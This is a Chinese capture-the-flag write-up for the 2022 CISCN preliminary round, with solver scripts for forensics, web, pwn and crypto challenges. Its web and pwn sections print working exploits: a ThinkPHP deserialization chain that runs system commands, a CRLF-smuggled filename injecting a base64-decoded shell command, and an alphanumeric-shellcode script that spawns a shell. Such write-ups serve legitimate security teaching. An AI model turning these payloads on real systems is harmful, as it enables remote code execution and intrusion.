2022 CISCN 创新能力实践赛初赛WP

WP来自齐鲁师范学院网络安全社团
请添加图片描述

MISC

ez_usb

图片

文件-导出特定分组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
tshark -r 2.8.1.pcapng -T fields -e usb.capdat > 2.8.1.txt

import os,sys

normalKeys = {

"04":"a", "05":"b", "06":"c", "07":"d", "08":"e",

"09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",

"0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",

"13":"p", "14":"q", "15":"r", "16":"s", "17":"t",

"18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",

"1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",

"22":"5", "23":"6","24":"7","25":"8","26":"9",

"27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",

"2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\",

"32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",

"38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",

"3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",

"44":"<F11>","45":"<F12>"}

shiftKeys = {

"04":"A", "05":"B", "06":"C", "07":"D", "08":"E",

"09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",

"0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",

"13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",

"18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",

"1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",

"22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",

"28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",

"2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":""",

"34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",

"3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",

"41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}



#pcapFilePath = sys.argv[1]

#os.system("tshark -r "+pcapFilePath+" -T fields -e usb.capdata | sed '/^\s*$/d' > out.txt")

output = []

keys = open('./2.8.1.txt')

for line in keys:

line = ''.join(line[i:i+2]+':' for i in range(0,len(line)-1,2)).strip(':')

try:

if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":

continue

if line[6:8] in normalKeys.keys():

output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']

else:

output += ['[unknown]']

except:

pass



keys.close()



flag=0

#print("".join(output))

for i in range(len(output)):

try:

a=output.index('<DEL>')

del output[a]

del output[a-1]

except:

pass



for i in range(len(output)):

try:

if output[i]=="<CAP>":

flag+=1

output.pop(i)

if flag==2:

flag=0

if flag!=0:

output[i]=output[i].upper()

except:

pass



print ('output :' + "".join(output))

os.system("rm -rf 2.8.1.txt")

得到加密的压缩包,同样方式提取

图片

得到压缩包密码

output :35c535765e50074a

解密得到flag

flag{20de17cc-d2c1-4b61-bebd-41159ed7172d}

everlasting_night

stegsolve 查看图片发现

图片

得到一个密码,考虑 lsb 隐写加密

图片

1
python2 lsb.py extract everlasting_night.png out.txt f78dcd383f1b574b

得到 zip,发现被加密,想到 png 后面还有一串字符没用

图片

经过各种尝试最后发现是 md5,somd5 解密就好了得到压缩包密码

ohhWh04m1

图片

010 打开发现 png 但是不是正常的图片,gimp 打开看一下

图片

flag{607f41da-e849-4c0b-8867-1b3c74536cc4}

babydisk

附件是 vmdk 文件,可以直接拿 Diskgenius 挂载,也可以使用 winhex 等等。这里我使用 DiskGenius 挂载

图片

挂载后能看到有个 wav

图片

右击-复制到桌面可以提取出来,010 查看没啥东西,wav 的隐写有 deepsound 和 silenteye 或者还有其他,先用deepsound 试一下,用 deepsound 打开如果能显示存在密码说明就是 deepsound 隐写的

图片

现在的问题是需要一个密码,那就谷歌搜一下

图片

里面的文章恰好完成了我们的需求

https://blog.csdn.net/weixin_45696568/article/details/118573215

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
#!/usr/bin/env python3

'''

deepsound2john extracts password hashes from audio files containing encrypted

data steganographically embedded by DeepSound (http://jpinsoft.net/deepsound/).

This method is known to work with files created by DeepSound 2.0.

Input files should be in .wav format. Hashes can be recovered from audio files

even after conversion from other formats, e.g.,

ffmpeg -i input output.wav

Usage:

python3 deepsound2john.py carrier.wav > hashes.txt

john hashes.txt

This software is copyright (c) 2018 Ryan Govostes <rgovostes@gmail.com>, and

it is hereby released to the general public under the following terms:

Redistribution and use in source and binary forms, with or without

modification, are permitted.

'''



import logging

import os

import sys

import textwrap





def decode_data_low(buf):

return buf[::2]



def decode_data_normal(buf):

out = bytearray()

for i in range(0, len(buf), 4):

out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))

return out



def decode_data_high(buf):

out = bytearray()

for i in range(0, len(buf), 8):

out.append((buf[i] & 3) << 6 | (buf[i + 2] & 3) << 4 \

| (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))

return out





def is_magic(buf):

# This is a more efficient way of testing for the `DSCF` magic header without

# decoding the whole buffer

return (buf[0] & 15) == (68 >> 4) and (buf[2] & 15) == (68 & 15) \

and (buf[4] & 15) == (83 >> 4) and (buf[6] & 15) == (83 & 15) \

and (buf[8] & 15) == (67 >> 4) and (buf[10] & 15) == (67 & 15) \

and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)





def is_wave(buf):

return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'





def process_deepsound_file(f):

bname = os.path.basename(f.name)

logger = logging.getLogger(bname)



# Check if it's a .wav file

buf = f.read(12)

if not is_wave(buf):

global convert_warn

logger.error('file not in .wav format')

convert_warn = True

return

f.seek(0, os.SEEK_SET)



# Scan for the marker...

hdrsz = 104

hdr = None



while True:

off = f.tell()

buf = f.read(hdrsz)

if len(buf) < hdrsz: break



if is_magic(buf):

hdr = decode_data_normal(buf)

logger.info('found DeepSound header at offset %i', off)

break



f.seek(-hdrsz + 1, os.SEEK_CUR)



if hdr is None:

logger.warn('does not appear to be a DeepSound file')

return



# Check some header fields

mode = hdr[4]

encrypted = hdr[5]



modes = {2: 'low', 4: 'normal', 8: 'high'}

if mode in modes:

logger.info('data is encoded in %s-quality mode', modes[mode])

else:

logger.error('unexpected data encoding mode %i', modes[mode])

return



if encrypted == 0:

logger.warn('file is not encrypted')

return

elif encrypted != 1:

logger.error('unexpected encryption flag %i', encrypted)

return



sha1 = hdr[6:6+20]

print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))


if __name__ == '__main__':

import argparse

parser = argparse.ArgumentParser()

parser.add_argument('--verbose', '-v', action='store_true')

parser.add_argument('files', nargs='+', metavar='file',

type=argparse.FileType('rb', bufsize=4096))

args = parser.parse_args()


if args.verbose:

logging.basicConfig(level=logging.INFO)

else:

logging.basicConfig(level=logging.WARN)



convert_warn = False



for f in args.files:

process_deepsound_file(f)



if convert_warn:

print(textwrap.dedent('''

---------------------------------------------------------------

Some files were not in .wav format. Try converting them to .wav

and try again. You can use: ffmpeg -i input output.wav

---------------------------------------------------------------

'''.rstrip()), file=sys.stderr)

先使用脚本获取一 hash 再用 john 爆破就好了

图片

得到密码是 feedback

图片

得到 key.txt

图片

这个时候拿到 key 肯定是要解密什么东西,思考一下现在可以利用的东西,音频已经解完了,可能是 vmdk 还有什么东西没有发现,然后使用 FTK 挂载一下

图片

图片

图片

图片

在回收站发现了两个文件,导出看一下,结合刚刚拿到的密码想到可以用 veracrypt 或者是 Truecrypt (具体名字忘了),经过尝试可以用 vera 挂载,$RDWTTK4 这个文件可以成功挂载

图片

图片

spiral 是一个 zip,然后发现里面的数据很乱

下面是复现部分。

搜索一下spiral

图片

https://blog.csdn.net/GW_wg/article/details/120406192

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
def function(n):

matrix = [[0] * n for _ in range(n)]



number = 1

left, right, up, down = 0, n - 1, 0, n - 1

while left < right and up < down:

# 从左到右

for i in range(left, right):

matrix[up][i] = number

number += 1



# 从上到下

for i in range(up, down):

matrix[i][right] = number

number += 1



# 从右向左

for i in range(right, left, -1):

matrix[down][i] = number

number += 1



for i in range(down, up, -1):

matrix[i][left] = number

number += 1

left += 1

right -= 1

up += 1

down -= 1

# n 为奇数的时候,正方形中间会有个单独的空格需要单独填充

if n % 2 != 0:

matrix[n // 2][n // 2] = number

return matrix

WEB

Ezpop

扫目录发现 www.zip,下载源码进行审计,结合题目提示发现是 tp 的旧有漏洞,去找网上的利用链

图片

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php

namespace think\model\concern;



trait Attribute

{

private $data = ["key" => ["key1" => "cat /f*"]];

private $withAttr = ["key"=>["key1"=>"system"]];

protected $json = ["key"];

}

trait ModelEvent{

protected $withEvent;

}



namespace think;



abstract class Model{

use model\concern\Attribute;

use model\concern\ModelEvent;

private $exists;

private $force;

private $lazySave;

protected $suffix;

function __construct($a = '')

{

$this->exists = true;

$this->force = true;

$this->lazySave = true;

$this->withEvent = false;

$this->suffix = $a;

}

}



namespace think\model;



use think\Model;



class Pivot extends Model{}



echo urlencode(serialize(new Pivot(new Pivot())));

?>

生成 poc

1
a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A24%3A%22cat+..%2F..%2F..%2F..%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A24%3A%22cat+..%2F..%2F..%2F..%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

访问路由 index.php/index/test

图片

online_crt

下载代码进行审计

图片

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/getcrt', methods=['GET', 'POST'])

def upload():

Country = request.form.get("Country", "CN")

Province = request.form.get("Province", "a")

City = request.form.get("City", "a")

OrganizationalName = request.form.get("OrganizationalName", "a")

CommonName = request.form.get("CommonName", "a")

EmailAddress = request.form.get("EmailAddress", "a")

return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)

生成 crt 证书

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
@app.route('/createlink', methods=['GET'])

def info():

json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}

return json.dumps(json_data)



@app.route('/proxy', methods=['GET'])

def proxy():

uri = request.form.get("uri", "/")

client = socket.socket()

client.connect(('localhost', 8887))

msg = f'''GET {uri} HTTP/1.1

Host: test_api_host

User-Agent: Guest

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close



'''

client.send(msg.encode())

data = client.recv(2048)

client.close()

return data.decode()

可以访问内网 8887 端口的 go 服务

func admin(c *gin.Context) {

staticPath := "/app/static/crt/"

oldname := c.DefaultQuery("oldname", "")

newname := c.DefaultQuery("newname", "")

if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {

c.String(500, "error")

return

}

if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {

err := os.Rename(staticPath+oldname, staticPath+newname)

if err != nil {

return

}

c.String(200, newname)

return

}

c.String(200, "no")

}

可以看到 admin 函数替换名字,也就是说文件名称是可以控制的

也就是说题目重点也是我们可以操作的点就是:app.py 的 info 函数

ls 进行列目录

c_rehash 扫描指定目录列表中的.pem,.crt,.cer及.crl文件并为这些文件计算hash值,并以计算出的hash值为名字为这些文件创建符号连接。(如果你的操作平台不支持符号连接,则执行的是一个拷贝。)这个功能像很多程序一样有用,对于使用OpenSSL要求建立的目录,其目的是找到证书。

访问内网 go 服务需要使用 get 请求加上 post 下的参数,使用 clrf 发完整的 http 包

最终 payload

1
uri=/admin/renam%25%36%35?oldname=6feee645-87d2-411f-bc5d-13501b3eae98.crt%26newname="||echo%25%32%30Y2F0IC9mbGFn|base64%25%32%30-d|sh||".crt%20HTTP/1.1%0aHost: admin%0aAa:%0a%0a

首先访问 getcrt 生成 crt 文件,发包去替换 crt 文件名

图片

然后 createlink 去执行命令看到 flag

图片

PWN

login-nomal

通过菜单功能 1 获得 root 权限,通过功能 2mmap 一段可读可写可执行权限的地址,并且发现里面有对于输入内容是否为可视字符的 check,使用 alpha3 生成 shellcode 以后 getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = process('./pwn')

payload1 = "msg:ro0tt\nopt:1\n"

p.sendline(payload1)

sc = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070tt"

payload2 = "msg:"+sc+"\nopt:2\n"

p.sendline(payload2)

p.interactive()

CRY

基于挑战码的双向认证1

图片

非预期

用户名密码均为player

cd /root/cube-shell/instance/flag_server

直接 catflag 即可

图片

基于挑战码的双向认证2

非预期

cat flag2.txt

基于挑战码的双向认证2

非预期

弱密码

su root、toor 密码

签到电台

根据公众号给出的提示,得到了“弼时安全到达了”所对应的7个电码:

1732 2514 1344 0356 0451 6671 0055

知道是要从密码表截取前28位,每位相加然后模除以10,加不进位,减不借位

脚本:

1
2
3
4
5
6
7
8
9
key = '6561607990115808526135662113'

nums = '1732251413440356045166710055'

for i in range(0,28):

print((int(key[i])+int(nums[i])) % 10,end="")

#7293858303555154561291372168

用url传参把结果传进去,就能拿到flag

图片

ISO9798

申请容器,用自己的服务器 nc 容器

根据提示爆破四位的字符串

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from hashlib import sha256



s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY0123456789'



for i in s:

for j in s:

for k in s:

for l in s:

string = i+j+k+l+'xBSIsJVew5i1em0k'

b = sha256(string.encode('utf-8')).hexdigest()

if (b == 'fd5cfd228da08b9b788e3c2290268eca55f98581c3c54e2c577dcb051de50071'):

print(string)

输入个数字作为RB的值

根据题目提示参考ISO9798-2标准,对RA和RB做分割提取和拼接

https://www.doc88.com/p-1496121116297.html

1
2
3
4
5
6
7
s = '0dc7b82d345c2cdfee36dc1c7d5a397a78e6af74fa2bd810be55dd3cefb1afe96f5a0acdd3a17922baaf31ea767d99e2'

ra = s[0:32]

rb = s[32:64]

print(rb+ra)

输入计算的值,得到flag